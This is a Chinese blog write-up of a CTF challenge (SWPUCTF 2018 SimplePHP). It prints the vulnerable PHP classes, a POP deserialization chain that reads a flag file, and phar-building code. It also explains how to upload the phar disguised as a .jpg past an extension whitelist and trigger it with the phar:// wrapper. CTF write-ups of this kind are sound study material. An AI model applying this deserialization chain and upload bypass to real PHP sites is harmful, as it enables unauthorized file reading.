[SWPUCTF 2018]SimplePHP phar漏洞及其文件上传

在查看文件这个页面发现一个可疑参数file,试试能不能读取源代码

根据include包含来将各个文件源代码都提取出来,最重要的是class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;

    public function __toString()//对象被当成字符串时调用
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)//给不可访问的值赋值的时候调用
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()//反序列化的时候调用
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)//当调用不可访问的属性时调用该函数(1、私有属性,2、没有初始化的属性)
    {
        return $this->get($key);//$key=source
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

发现有几个类,第一反应可能是pop序列化链,果不其然在Test类中发现了高危函数

file_get_contents,再加上首页注释里面提醒我们flag在f1ag.php里面,肯定要将文件名传给file_get函数的参数value了,根据一些魔术方法构造pop链
__destruct() 析构函数,对象消失的时候会调用
__toString() 对象被当做字符串被使用的调用,如a()
__set() 给不可访问的值赋值的时候调用,如私有属性
__wakeup() 反序列化的时候调用
__get() 当调用不可访问的属性时调用该函数(1:私有属性,2:没有初始化的属性)

我们进行反推

调用file_get函数前,要调用get函数,要调用get函数又必须要调用魔术方法__get();要利用到魔术方法__get,我们可以看到Show类的toString魔术方法访问了一个Test类没有的属性source,因此可以调用;要调用toString魔术方法,可以利用C1e4r类的析构函数中echo来利用

因此我们可以构造一个pop链

$m=new C1e4r();
$m->str=new Show();
$m->str->str['str']=new Test();
$m->str->str['str']->params["source"]="/var/www/html/f1ag.php";

 为什么f1ag.php在html目录下呢,因为我们看到file.php的源代码

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}

ini_set限定了在open_basedir或/var/www/html目录下访问;

我们构造好pop链后,发现没有一个源代码有unserialize函数,那我们怎么利用呢,这里就考到一个我不会的知识点了,phar伪协议漏洞php伪协议漏洞_浅析phar反序列化漏洞攻击及实战_weixin_39785150的博客-CSDN博客

phar文件在存储的时候是用序列化的方式储存的,解析phar的时候会自动的反序列化解析,所以我们要利用phar文件来进行上传,我没怎么用过phar这个伪协议,查了会儿资料

phar其实就是相当于压缩包一样,生成phar的压缩包代码中setStub已经限定了该文件就算改了后缀,解析的时候还是phar压缩包文件,而且phar伪协议可以直接读取压缩包内的文件,因此我们可以将一个php文件做成一个压缩包,然后将压缩包的后缀改名绕过检测,但我们依然可以直接利用phar文件读取里面的php文件,因此我们以后绕过waf又多了一个办法

$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($m); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

这是网上找的phar文件生成代码,第一行是名字

看到生成了一个压缩包文件exp.phar(不用理会那个jpg,是我之前生成后改后缀的)

function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);

 在function.php中有白名单过滤,因此我们改为jpg文件上传(上面说了代码配置中以__HALT_COMPILER();?>结尾php会识别为phar文件,但是过滤识别不出来)

function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }

上传成功后根据function中的代码去获取地址,但是这里我出现了问题,怎么md5加密都是不对,这里我很疑惑

这里直接访问upload可以发现目录是个打开的,就不用在纠结去算文件名了

因为有时差所以我们显示相差8个小时,复制你的文件名,在file页面用伪协议phar进行读取

 

可以获得base64加密后的 flag

我将文件名去掉.jpg进行md5解密,发现不对,这个点非常非常疑惑

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值